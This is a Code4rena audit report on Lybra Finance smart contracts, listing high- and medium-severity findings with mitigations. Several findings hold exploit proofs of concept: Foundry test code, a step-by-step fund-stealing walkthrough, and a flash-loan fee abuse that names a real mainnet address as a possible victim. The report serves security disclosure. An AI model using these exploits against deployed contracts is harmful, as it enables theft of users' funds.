Lybra Finance
Findings & Analysis Report

2023-08-21

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Lybra Finance smart contract system written in Solidity. The audit took place between June 23 - July 3 2023.

Wardens

136 Wardens contributed reports to the Lybra Finance:

1. 0x3b
2. 0xAnah
3. 0xMAKEOUTHILL
4. 0xNightRaven
5. 0xRobocop
6. 0xbrett8571
7. 0xcm
8. 0xgrbr
9. 0xhacksmithh

10. 0xkazim
11. 0xnacho
12. 0xnev
13. 3agle
14. 8olidity
15. ABAIKUNANBAEV
16. Arz
17. Bauchibred
18. Breeje
19. Brenzee
20. BugBusters (nirlin and 0xepley)
21. Bughunter101
22. Co0nan
23. CrypticShepherd
24. Cryptor
25. D_Auditor
26. DavidGiladi
27. DedOhWale
28. DelerRH
29. HE1M
30. Hama
31. IceBear
32. Inspecktor
33. Iurii3
34. JCN
35. Jorgect
36. K42
37. Kaysoft
38. Kenshin

39. KupiaSec
40. LaScaloneta (nicobevi, juancito and 0x4non)
41. LokiThe5th
42. LuchoLeonel1
43. MohammedRizwan
44. MrPotatoMagic
45. Musaka (0x3b and ZdravkoHr)
46. Neon2835
47. No12Samurai
48. OMEN
49. Qeew
50. Rageur
51. Raihan
52. RedOneN
53. RedTiger
54. ReyAdmirado
55. Rolezn
56. SAAJ
57. SAQ
58. SM3_SS
59. SanketKogekar
60. Sathish9098
61. Silvermist
62. SovaSlava
63. SpicyMeatball
64. T1MOH
65. Timenov
66. TorpedoPistolIXC41
67. Toshii

68. Vagner
69. a3yip6
70. adeolu
71. alexweb3
72. ayden
73. ayo_dev
74. azhar
75. bart1e
76. btk
77. bytes032
78. cartlex_
79. caventa
80. cccz
81. codetilda
82. cthulhu_cult (badbird and seanamani)
83. dacian
84. devival
85. dharma09
86. f00l
87. fatherOfBlocks
88. georgypetrov
89. gs8nrv
90. halden
91. hals
92. hl_
93. hunter_w3b
94. jnrlouis
95. josephdara
96. kankodu

97. ke1caM
98. kenta
99. koo
100. ktg
101. kutugu
102. lanrebayode77
103. m_Rassska
104. mahdikarimi
105. mahyar
106. max10afternoon
107. mgf15
108. mladenov
109. mrudenko
110. n1punp
111. naman1778
112. nonseodion
113. peanuts
114. pep7siup
115. qpzm
116. sces60107
117. seth_lawson
118. shamsulhaq123
119. skyge
120. smaul
121. solsaver
122. souilos
123. squeaky_cactus
124. totomanov
125. turvy_fuzz

126. y51r
127. yjrwkk
128. yudan
129. zaevlad
130. zaggle
131. zambody

This audit was judged by 0xean.

Final report assembled by thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 31 unique vulnerabilities. Of these vulnerabilities, 8 received a risk rating in the category of HIGH severity and 23 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 42 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 22 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Lybra Finance repository, and is composed of 21 smart contracts written in the Solidity programming language and includes 1762 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling

- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on [the C4 website](), specifically our section on [Severity Categorization]().

High Risk Findings (8)

[H-01] There is a vulnerability in the `executeFlashloan` function of the `PeUSDMainnet` contract. Hackers can use this vulnerability to burn other people's eUSD token balance without permission

Submitted by Neon2835, *also found by* MohammedRizwan, Arz, DedOhWale, 0xcm, 0xRobocop, azhar, HE1M, zaevlad, *and* kankodu

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/PeUSDMainnetStableVision.sol#L129-L139

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/EUSD.sol#L228-L230

Impact

The `executeFlashloan` function of the `PeUSDMainnet` contract is used to provide users with the flash loan function. There is a loophole in the logic and hackers can use this loophole to burn other people's eUSD token balance without permission.

Proof of Concept

Since the parameter `FlashBorrower receiver` of the `executeFlashloan` function can be designated as anyone, the flash loan system will charge a certain percentage of the loan fee (up to 10%) to `receiver` for each flash loan. The code is as follows:

```
EUSD.burnShares(address(receiver), burnShare);
```

When a hacker maliciously initiates a flash loan for a `receiver` contract, and the value of the `eusdAmount` parameter passed in is large enough, the `receiver` will be deducted a large amount of loan fees; the hacker can burn a large amount of other people's eUSD without permissioning the amount.

Let us analyze the design logic of the system itself step by step for discussion:

1. The flashloan fee of the `PeUSDMainnet` contract is collected by calling the `burnShares` function of the `EUSD` contract. Continue to read the code to find that the `burnShares` function of the `EUSD` contract has a very critical `modifier onlyMintVault` condition Judgment, so it is obvious that the `PeUSDMainnet` contract is the minter role of the `EUSD` contract (otherwise it will not be able to charge the flashloan fee).
2. Usually, when the `transferFrom` function is called, the ERC20 token needs to be approved by the spender before it can be used. But the `transferFrom` function in the `EUSD` contract is implemented like this:

```
function transferFrom(address from, address to, uint256 amount) p
     address spender = _msgSender();
     if (!configurator. mintVault(spender)) {
         _spendAllowance(from, spender, amount);
     }
     _transfer(from, to, amount);
     return true;
}
```

The above code indicates that the miner of EUSD can call `transferFrom` arbitrarily, without the user calling `increaseAllowance` for approval. The `PeUSDMainnet` contract is the minter of the `EUSD` contract, so line 133 of the `PeUSDMainnet` contract code: `bool success = EUSD.transferFrom(address(receiver), address(this), EUSD.getMintedEUSDByShares(shareAmount));` can be executed without user approval.

3. In line 132 of the `executeFlashloan` function of the `PeUSDMainnet` contract: `receiver.onFlashLoan(shareAmount, data);` , if the `receiver` does not implement the `onFlashLoan` method, the EVM will revert and the hacker will not be able to maliciously execute the attack. However, if the receiver contract simply declares the `fallback()` function, or its `fallback()` logic does not have a very robust judgment, then line 132 of the code can be easily bypassed. So is there really such a contract that just satisfies this condition? The answer is yes, for example this address: `0x32034276343de43844993979e5384d4b7e030934` (etherscan: https://etherscan.io/address/0x32034276343de43844993979e5384d4b7e030934#code), has 200,000 eUSD tokens and declared the `fallback` function, its source code excerpts are as follows:

```
contract GnosisSafeProxy {
    // singleton always needs to be first declared variable, to 
    // To reduce deployment costs this variable is internal and 
    address internal singleton;

    /// @dev Constructor function sets address of singleton cont
    /// @param _singleton Singleton address.
    constructor(address _singleton) {
        require(_singleton != address(0), "Invalid singleton add
        singleton = _singleton;
    }

    /// @dev Fallback function forwards all transactions and ret
    fallback() external payable {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            let _singleton := and(sload(0), 0xffffffffffffffff
            // 0xa619486e == keccak("masterCopy()"). The value i
            if eq(calldataload(0), 0xa619486e00000000000000000000
                mstore(0, _singleton)
                return(0, 0x20)
            }
            calldatacopy(0, 0, calldatasize())
            let success := delegatecall(gas(), _singleton, 0, ca
            returndatacopy(0, 0, returndatasize())
            if eq(success, 0) {
                revert(0, returndatasize())
            }
            return(0, returndatasize())
```

```
            }
        }
    }
```

4. Assuming that the `PeUSDMainnet` contract flash loan fee rate is 5% at this time, the hacker maliciously calls the `executeFlashloan` function to initiate a flash loan with the address: `0x32034276343de43844993979e5384d4b7e030934` , the function parameter `uint256 eusdAmount = 4_000_000` , and the calculated loan fee is `4_000_000 * 5% = 200_000` , the 200_000 eUSD balance of the address `0x32034276343de43844993979e5384d4b7e030934` will be maliciously burned by hackers!

The following is the forge test situation I simulated locally:

```
[PASS] testGnosisSafeProxy() (gas: 10044)
Traces:
  [10044] AttackTest::testGnosisSafeProxy()
    â”œâ”€ [4844] GnosisSafeProxy::onFlashLoan()
    â”‚   â”œâ”€ [0] 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552:
    â”‚   â”‚   â””â”€ â†  ()
    â”‚   â””â”€ â†  ()
    â””â”€ â†  ()

Test result: ok. 1 passed; 0 failed; finished in 972.63Âµs
```

The `fallback` function of the `GnosisSafeProxy` contract is allowed to be called without revert.

Tools Used

Visual Studio Code Foundry

Recommended Mitigation Steps

Optimize the flash loan logic of the `executeFlashloan` function of the `PeUSDMainnet` contract, remove the `FlashBorrower receiver` parameter, and set `receiver` to `msg.sender` ; which means that a user can only initiate a flash loan for themselves.

[LybraFinance confirmed](#)

[H-02] doesn’t calculate the current borrowing amount for the provider, including the provider’s borrowed shares and accumulated fees due to inconsistency in `collateralRatio` calculation

Submitted by [turvy_fuzz](#), *also found by* [SpicyMeatball](#)

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L127

Proof of Concept

Borrowers `collateralRatio` in the `liquidation()` function is calculated by:

```
uint256 onBehalfOfCollateralRatio = (depositedAsset[onBehalfOf]
```

Notice it calls the `getBorrowedOf()` function, which calculates the current borrowing amount for the borrower, including the borrowed shares and accumulated fees, not just the borrowed amount.

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L253

```
function getBorrowedOf(address user) public view returns (uint25
        return borrowed[user] + feeStored[user] + _newFee(user);
    }
```

However, the providers `collateralRatio` in the `rigidRedemption()` function is calculated by:

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L161

```
uint256 providerCollateralRatio = (depositedAsset[provider] * as
```

Here, the deposit asset is divided by only the borrowed amount, missing out on the borrowed shares and accumulated fees.

Tools Used

Visual Studio Code

Recommended Mitigation Steps

Be consistent with `collateralRatio` calculation.

[LybraFinance confirmed](#)

[H-03] Incorrectly implemented modifiers in `LybraConfigurator.sol` allow any address to call functions that are supposed to be restricted

Submitted by alexweb3, *also found by* D_Auditor, josephdara, TorpedoPistolIXC41, zaggle, koo, cartlex_, hals, mladenov, Neon2835, Neon2835, lanrebayode77, Silvermist, pep7siup, Musaka, Timenov, Timenov, LuchoLeonel1, mahyar, mrudenko, DedOhWale, adeolu, zaevlad, *and* DelerRH

The modifiers `onlyRole` (bytes32 role) and `checkRole` (bytes32 role) are not implemented correctly. This would allow anybody to call sensitive functions that should be restricted.

Proof of Concept

For the POC, I set up a new foundry projects and copied the folders lybra, mocks and OFT in the src folder of the new project. I installed the dependencies and then I created a file `POCs.t.sol` in the test folder. Here is the code that shows a random address can call sensitive functions that should be restricted:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
```

```
import "forge-std/Test.sol";
import "../src/lybra/configuration/LybraConfigurator.sol";
import "../src/lybra/governance/GovernanceTimelock.sol";
import "../src/lybra/miner/esLBRBoost.sol";

contract POCsTest is Test {
    Configurator public lybraConfigurator;
    GovernanceTimelock public governance;
    esLBRBoost public boost;

    address public dao = makeAddr("dao");
    address public curvePool = makeAddr("curvePool");
    address public randomUser = makeAddr("randomUser");
    address public admin = makeAddr("admin");

    address public eusd = makeAddr("eusd");
    address public pEusd = makeAddr("pEusd");

    address proposerOne = makeAddr("proposerOne");
    address executorOne = makeAddr("executorOne");

    address[] proposers = [proposerOne];
    address[] executors = [executorOne];

    address public rewardsPool = makeAddr("rewardsPool");

    function setUp() public {
        governance = new GovernanceTimelock(10000, proposers, ex
        lybraConfigurator = new Configurator(address(governance)
        boost = new esLBRBoost();
    }

    function testIncorrectlyImplementedModifiers() public {
        console.log("EUSD BEFORE", address(lybraConfigurator.EUS
        vm.prank(randomUser);
        lybraConfigurator.initToken(eusd, pEusd);
        console.log("EUSD AFTER", address(lybraConfigurator.EUSD

        console.log("RewardsPool BEFORE", address(lybraConfigura
        vm.prank(randomUser);
        lybraConfigurator.setProtocolRewardsPool(rewardsPool);
        console.log("RewardsPool AFTER", address(lybraConfigurat
    }
}
```

Tools Used

Manual Review

Recommended Mitigation Steps

Wrap the 2 function calls in a require statement:

In modifier `onlyRole` (bytes32 role), instead of `GovernanceTimelock.checkOnlyRole` (role, msg.sender), it should be something like require (`GovernanceTimelock.checkOnlyRole` (role, msg.sender), "Not Authorized").

The same goes for the `checkRole` (bytes32 role) modifier.

Assessed type

Access Control

[LybraFinance confirmed]

[H-04] The Constructor Caveat leads to bricking of Configurator contract.

Submitted by [cthulhu_cult]

In Solidity, code that is inside a constructor or part of a global variable declaration is not part of a deployed contract's runtime bytecode. This code is executed only once, when the contract instance is deployed. As a consequence of this, the code within a logic contract's constructor will never be executed in the context of the proxy's state. This means that any state changes made in the constructor of a logic contract will not be reflected in the proxy's state.

1. This will lead to governance timelocks contract and the `curvePool` contract contain default values of zero values.
2. As a result, all the functions that rely on governance will be broken, since the governance address is set to zero address.

Proof of Concept

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {ITransparentUpgradeableProxy} from "@openzeppelin/contra

import {LybraProxy} from "@lybra/Proxy/LybraProxy.sol";
import {LybraProxyAdmin} from "@lybra/Proxy/LybraProxyAdmin.sol"
import {GovernanceTimelock} from "@lybra/governance/GovernanceTi
import {PeUSDMainnet} from "@lybra/token/PeUSDMainnetStableVisio
import {Configurator} from "@lybra/configuration/LybraConfigurat
import {EUSDMock} from "@mocks/mockEUSD.sol";
import {mockCurve} from "@mocks/mockCurve.sol";
import {mockUSDC} from "@mocks/mockUSDC.sol";

/* remappings used
@lybra=contracts/lybra/
@mocks=contracts/mocks/
 */
contract CounterScript is Test {
    address goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a875

    LybraProxy proxy;
    LybraProxyAdmin admin;
    GovernanceTimelock govTimeLock;
    mockUSDC usdc;
    mockCurve curve;
    Configurator configurator;
    Configurator configuratorLogic;
     EUSDMock eusd;
    PeUSDMainnet peUsdMainnet;
    address owner = address(7);
    address[] govTimelockArr;

     function setUp() public {
         vm.startPrank(owner);
         govTimelockArr.push(owner);
         govTimeLock = new GovernanceTimelock(
             1,
             govTimelockArr,
             govTimelockArr,
             owner
         );

         usdc = new mockUSDC();
         curve = new mockCurve();
```

```
        eusd = new EUSDMock(address(configurator));
        //  _dao , _curvePool
        configuratorLogic = new Configurator(address(govTimeLoc

        admin = new LybraProxyAdmin();
        proxy = new LybraProxy(address(configuratorLogic),addre
        configurator = Configurator(address(proxy));

       peUsdMainnet = new PeUSDMainnet(
            address(configurator),
            8,
            goerliEndPoint
        );
        vm.stopPrank();
    }

    function test_LybraConfigurationContractDoesNotInitialize() 
        vm.startPrank(address(owner));
        vm.expectRevert(); // Since the Governance time lock is 
        configurator.initToken(address(eusd), address(peUsdMainn
    }
}
```

Tools Used

1. Manual Code review
2. Foundry for POC

Recommended Mitigation Steps

LybraConfiguration.sol#L81 contracts should move the code within the constructor to a regular "initializer" function, and have this function be called whenever the proxy links to this logic contract. Special care needs to be taken with this initializing function so that it can only be called once and use another initialization mechanism, since the governance address should be set in the initialize.

Assessed type

Upgradable

LybraFinance confirmed

0xean (judge) commented:

> On the fence re: severity here and could see the argument for this being M. Will leave as submitted for now, but open to comment during QA on the topic.

[H-05] Making `_totalSupply` and `_totalShares` imbalance significantly by providing fake income leads to stealing fund

Submitted by [HE1M]

If the project has just started, a malicious user can make the `_totalSupply` and `_totalShares` imbalance significantly by providing fake income. By doing so, later, when innocent users deposit and mint, the malicious user can steal protocol's stETH without burning any shares. Moreover, the protocol's income can be stolen as well.

Proof of Concept

Suppose nothing is deposited in the protocol (it is day 0).

Bob (a malicious user) deposits `$` 1000 worth of ether (equal to 1 ETH, assuming ETH price is `$` 1000) to mint `200e18 + 1` eUSD. The state will be:

- `shares[Bob] = 200e18 + 1`
- `_totalShares = 200e18 + 1`
- `_totalSupply = 200e18 + 1`
- `borrowed[Bob] = 200e18 + 1`
- `poolTotalEUSDCirculation = 200e18 + 1`
- `depositAsset[Bob] = 1e18`
- `totalDepositedAsset = 1e18`
- `stETH.balanceOf(protocol) = 1e18`

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L37

Then, Bob transfers directly `0.2stETH` (worth `$` 200) to the protocol. By doing so, Bob is providing a fake excess income in the protocol. So, the state will be:

- `shares[Bob] = 200e18 + 1`
- `_totalShares = 200e18 + 1`
- `_totalSupply = 200e18 + 1`
- `borrowed[Bob] = 200e18 + 1`
- `poolTotalEUSDCirculation = 200e18 + 1`
- `depositAsset[Bob] = 1e18`
- `totalDepositedAsset = 1e18`
- `stETH.balanceOf(protocol) = 1e18 + 2e17`

Then, Bob calls `excessIncomeDistribution` to buy this excess income. As you see in line 63, the `excessIncome` is equal to the difference of `stETH.balanceOf(protocol)` and `totalDepositedAsset`. So, the `excessAmount = 2e17`.

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L63

Then, in line 66, this amount `2e17` is converted to eUSD amount based on the price of stETH. Since, we assumed ETH is `$` 1000, we have:

```
uint256 payAmount = (((realAmount * getAssetPrice()) / 1e18) * g
```

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L66C9-L66C112

Since the protocol has just started, there is no `feeStored`, so the income is equal to zero.

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L68

In line 75, we have:

```
uint256 sharesAmount = _EUSDAmount.mul(_totalShares).div(totalMi
```

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L75C13-L75C35

In line 81, this amount of `sharesAmount` will be burned from Bob, and then in line 93, `2e17` stETH will be transferred to Bob. So, the state will be:

- `shares[Bob] = 200e18 + 1 - 200e18 = 1`
- `_totalShares = 200e18 + 1 - 200e18 = 1`
- `_totalSupply = 200e18 + 1`
- `borrowed[Bob] = 200e18 + 1`
- `poolTotalEUSDCirculation = 200e18 + 1`
- `depositAsset[Bob] = 1e18`
- `totalDepositedAsset = 1e18`
- `stETH.balanceOf(protocol) = 1e18 + 2e17 - 2e17 = 1e18`

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L81

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L93

Please note that currently we have `_totalSupply = 200e18 + 1` and `_totalShares = 1`.

Suppose, Alice (an innocent user) deposits 10ETH, and mints 4000e18 eUSD. So, the amount of shares minted to Alice will be:

```
sharesAmount = _EUSDAmount.mul(_totalShares).div(totalMintedEUSD
```

So, the state will be:

- `shares[Bob] = 1`
- `_totalShares = 1 + 19 = 20`
- `_totalSupply = 200e18 + 1 + 4000e18 = 4200e18 + 1`
- `borrowed[Bob] = 200e18 + 1`
- `poolTotalEUSDCirculation = 200e18 + 1 + 4000e18 = 4200e18 + 1`
- `depositAsset[Bob] = 1e18`
- `totalDepositedAsset = 1e18 + 10e18 = 11e18`
- `stETH.balanceOf(protocol) = 1e18 + 10e18 = 11e18`
- `shares[Alice] = 19`
- `borrowed[Alice] = 4000e18`
- `depositAsset[Alice] = 10e18`

Now, different issues can happen leading to loss/steal of funds:

▶ Details

Please note that for sake of simplicity the fees related to the redemption/liquidation are ignored. So, considering those into our calculation does not make the scenarios invalid.
In Summary:

Bob makes `_totalSupply` and `_totalShares` imbalance significantly, by just providing fake income in the protocol at day 0. Now that it is imbalanced, he can redeem or liquidate users without burning any shares. He can also steal protocol's income fund without burning any shares.

Recommended Mitigation Steps

First Fix: During the `_repay`, it should return the amount of burned shares.

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L279

So that in the functions `liquidation`, `superLiquidation`, and `rigidRedemption`, again the burned shares should be converted to eUSD; this amount should be used for the rest of calculations.

```
    function rigidRedemption(address provider, uint256 eusdAmount) e
            // ...
            uint256 brnedShares = _repay(msg.sender, provider, eusdAı
            eusdAmount = getMintedEUSDByShares(brnedShares);
            //...
        }
```

Second Fix: In the `excessIncomeDistribution`, the same check should be included in the else body as well.

```
    uint256 sharesAmount = EUSD.getSharesByMintedEUSD(payAmount - in
                if (sharesAmount == 0) {
                    //EUSD totalSupply is 0: assume that shares corr
                    sharesAmount = (payAmount - income);
                }
```

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L75-L79

Assessed type

Context

LybraFinance acknowledged

[H-06] `EUSD.mint` function wrong assumption of cases when calculated sharesAmount = 0

Submitted by ktg, also found by Kaysoft, dacian, kutugu, CoOnan, jnrlouis, and n1punp

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/token/EUSD.sol#L299-#L306
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/token/EUSD.sol#L414-#L418

Impact

- `Mint` function might calculate the `sharesAmount` incorrectly.
- User can profit by manipulating the protocol to enjoy 1-1 share-eUSD ratio even when share prices is super high.

Proof of Concept

Currently, the function `EUSD.mint` calls function `EUSD.getSharesByMintedEUSD` to calculate the shares corresponding to the input eUSD amount:

```
    function mint(address _recipient, uint256 _mintAmount) external 
            require(_recipient != address(0), "MINT_TO_THE_ZERO_ADDR

            uint256 sharesAmount = getSharesByMintedEUSD(_mintAmount
            if (sharesAmount == 0) {
                //EUSD totalSupply is 0: assume that shares correspo
                sharesAmount = _mintAmount;
            }
            ...
    }
    function getSharesByMintedEUSD(uint256 _EUSDAmount) public view 
            uint256 totalMintedEUSD = _totalSupply;
            if (totalMintedEUSD == 0) {
                return 0;
            } else {
                return _EUSDAmount.mul(_totalShares).div(totalMinted
            }
    }
```

As you can see in the comment after `sharesAmount` is checked, `//EUSD totalSupply is 0: assume that shares correspond to EUSD 1-to-1`. The code assumes that if `sharesAmount = 0`, then `totalSupply` must be 0 and the minted share should equal to input eUSD. However, that's not always the case.

Variable `sharesAmount` could be 0 if `totalShares *_EUSDAmount < totalMintedEUSD` because this is integer division. If that happens, the user will profit by calling mint with a small EUSD amount and enjoys 1-1 minting proportion (1 share for each eUSD). The reason this can happen is because `EUSD` support `burnShares` feature, which remove the share of a users but keep the `totalSupply` value.

For example:

1. At the start, Bob is minted 1e18 eUSD, they receive 1e18 shares.
2. Bob call `burnShares` by `1e18-1`. After this, contract contains 1e18 eUSD and 1 share, which mean 1 share now worth 1e18 eUSD.
3. If Alice calls `mint` with 1e18 eUSD, then they receive 1 share (since 1 share worth 1e18 eUSD).
4. However, if they then call `mint` with 1e17 eUSD, they will receive 1e17 shares although 1 share is now worth 1e18 eUSD. This happens because `1e17 * (totalShares = 2) / (totalMintedEUSD = 2e18)` = 0.

Below is POC for the above example. I use foundry to run tests; create a folder named `test` and save this to a file named `eUSD.t.sol`, then run it using command:

```
forge test --match-path test/eUSD.t.sol -vvvv
```

```
pragma solidity ^0.8.17;

import {Test, console2} from "forge-std/Test.sol";
import {Iconfigurator} from "contracts/lybra/interfaces/Iconfigu
import {Configurator} from "contracts/lybra/configuration/LybraC
import {GovernanceTimelock} from "contracts/lybra/governance/Gov
import {mockCurve} from "contracts/mocks/mockCurve.sol";
import {EUSD} from "contracts/lybra/token/EUSD.sol";

contract TestEUSD is Test {
    address admin = address(0x1111);
```

```
    address user1 = address(0x1);
    address user2 = address(0x2);
    address pool = address(0x3);

    Configurator configurator;
    GovernanceTimelock governanceTimeLock;
    mockCurve curve;
    EUSD eUSD;



    function setUp() public{
        // deploy curve
        curve = new mockCurve();
        // deploy governance time lock
        address[] memory proposers = new address[](1);
        proposers[0] = admin;

        address[] memory executors = new address[](1);
        executors[0] = admin;

        governanceTimeLock = new GovernanceTimelock(1, proposers
        configurator = new Configurator(address(governanceTimeLo

        eUSD = new EUSD(address(configurator));
        // set mintVault to this address
        vm.prank(admin);
        configurator.setMintVault(address(this), true);
    }

    function testRoundingNotCheck() public {
        // Mint some tokens for user1
        eUSD.mint(user1, 1e18);

        assertEq(eUSD.balanceOf(user1), 1e18);
        assertEq(eUSD.totalSupply(), 1e18);

        //
        eUSD.burnShares(user1, 1e18-1);

        assertEq(eUSD.getTotalShares(),1);
        assertEq(eUSD.sharesOf(user1), 1);
        assertEq(eUSD.totalSupply(), 1e18);

        // After this, 1 shares worth 1e18 eUSDs
        // If mintAmount = 1e18 -> receive  1 shares
```

```
        eUSD.mint(user2, 1e18);
        assertEq(eUSD.getTotalShares(), 2);
        assertEq(eUSD.sharesOf(user2), 1);
        assertEq(eUSD.totalSupply(), 2e18);

        // However, if mintAmount = 1e17 -> receive 1e17 shares

        eUSD.mint(user2, 1e17);

        assertEq(eUSD.sharesOf(user2), 1 + 1e17);


    }

}
```

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend checking again in `EUSD.mint` function if `sharesAmount` is 0 and `totalSupply` is not 0, then exit the function without minting anything.

LybraFinance confirmed

[H-07] `_voteSucceeded()` returns true when `againstVotes > forVotes` and vice versa

Submitted by T1MOH, *also found by* yjrwkk, josephdara, devival, KupiaSec, LaScaloneta, cccz, Iurii3, pep7siup, 0xnev, bytes032, bytes032, skyge, *and* sces60107

As a result, voting process is broken, as it won't execute proposals with most of `forVotes`. Instead, it will execute proposals with most of `againstVotes`.

Proof of Concept

It returns whether number of votes with support = 1 is greater than with support = 0:

```
function _voteSucceeded(uint256 proposalId) internal view ov
    return proposalData[proposalId].supportVotes[1] > propos
}
```

However support = 1 means `againstVotes`, and support = 0 means `forVotes`:

https://github.com/code-423n4/2023-06-lybra/blob/26915a826c90eeb829863ec3851c3c785800594b/contracts/lybra/governance/LybraGovernance.sol#L120-L122

```
function proposals(uint256 proposalId) external view returns
    ...

    forVotes =  proposalData[proposalId].supportVotes[0];
    againstVotes =  proposalData[proposalId].supportVotes[1]
    abstainVotes =  proposalData[proposalId].supportVotes[2]

    ...
}
```

Tools Used

Manual Review

Recommended Mitigation Steps

Swap 1 and 0:

```
function _voteSucceeded(uint256 proposalId) internal view ov
    return proposalData[proposalId].supportVotes[0] > propos
}
```

Assessed type

Governance

[LybraFinance confirmed]

[H-08] Governance wrongly calculates `_quorumReached()`

Submitted by [T1MOH], *also found by* [josephdara], [yjrwkk], [LokiThe5th], [Iurii3], [squeaky_cactus], [skyge], *and* [zambody]

For some reason it is calculated as sum of `againstVotes` and `abstainVotes` instead of `totalVotes` on proposal. As the result, quorum will be reached only if >=1/3 of all votes are abstain or against, which doesn't make sense.

Proof of Concept

Number of votes with support = 1 and support = 2 is summed up:

```
    function _quorumReached(uint256 proposalId) internal view ove
        return proposalData[proposalId].supportVotes[1] + propos
    }
```

However support = 1 means against votes, support = 2 means abstain votes:

https://github.com/code-423n4/2023-06-lybra/blob/26915a826c90eeb829863ec3851c3c785800594b/contracts/lybra/governance/LybraGovernance.sol#L120-L122

```
    function proposals(uint256 proposalId) external view returns
        ...

        forVotes =  proposalData[proposalId].supportVotes[0];
        againstVotes =  proposalData[proposalId].supportVotes[1]
        abstainVotes =  proposalData[proposalId].supportVotes[2]

        ...
    }
```

Tools Used

Manual review

Recommended Mitigation Steps

Use `totalVotes`:

```
function _quorumReached(uint256 proposalId) internal view ove
    return proposalData[proposalId].totalVotes >= quorum(pro
}
```

Assessed type

Governance

[LybraFinance confirmed]

Medium Risk Findings (23)

[M-01] Wrong `proposalThreshold` amount in `LybraGovernance.sol`

Submitted by [devival]

The proposal can be created with only 100_000 esLBR delegated instead of 10_000_000.

Proof of Concept

According to [LybraV2Docs], a proposal can only be created if the sender has at least 10 million esLBR tokens delegated to their address to meet the proposal threshold.

In [LybraGovernance.sol#L172-L174], the proposal threshold is set to only `1e23` which equals to `100_000` as esLBR has 18 decimals.

```
function proposalThreshold() public pure override returns (u
    return 1e23;
}
```

Tools Used

Manual Review

Recommended Mitigation Steps

In [LybraGovernance.sol#L173](#) replace `1e23` with `1e25`

Alternatively, the team can update the documentation stating that it is only required 100_000 esLBR tokens (0.1% of the total LBR supply) delegated to meet the proposal threshold.

Assessed type

Math

[LybraFinance confirmed](#)

[M-02] Exploiter can avoid negative Lido rebases stealing funds from EUSD vaults

Submitted by [georgypetrov](#)*, also found by* [3agle](#)*,* [0xRobocop](#)*, and* [max10afternoon](#)

Lybra keeps the exact amount of collateral as deposited ignoring any lido rebases.

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L79
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L103

That allows malicious users to sandwich negative rebase transactions with depositing and withdrawing their stETH saving the exact amount as before negative rebase. The user can wait for 3 days or have a fee discount using `rigidRedemption` of self, which it makes applicable to a fee `(safeCollateralRatio - 100) / safeCollateralRatio * redemptionFee` part of the deposit.

Impact

The protocol will have additional losses in that case because the negative rebase decreases the cost of stETH share and the protocol withdraws the same amount of stETH as deposited to the malicious user, transferring more shares than deposited.

Proof of Concept

Should be launched with mainnet fork:

▶ Details

Tools Used

Foundry, mainnet forking.

Recommended Mitigation Steps

Need to handle losses in a different way, rather than just waiting for positive rebases to cover losses or deprecate rebase collateral vaults.

[0xean (judge) commented](https://github.com/code-423n4/2023-06-lybra-findings):

> @LybraFinance - this one is slightly unique and I believe incorrectly duped. Your response may be the same, but wanted to have you take a look.

[LybraFinance acknowledged and commented](https://github.com/code-423n4/2023-06-lybra-findings):

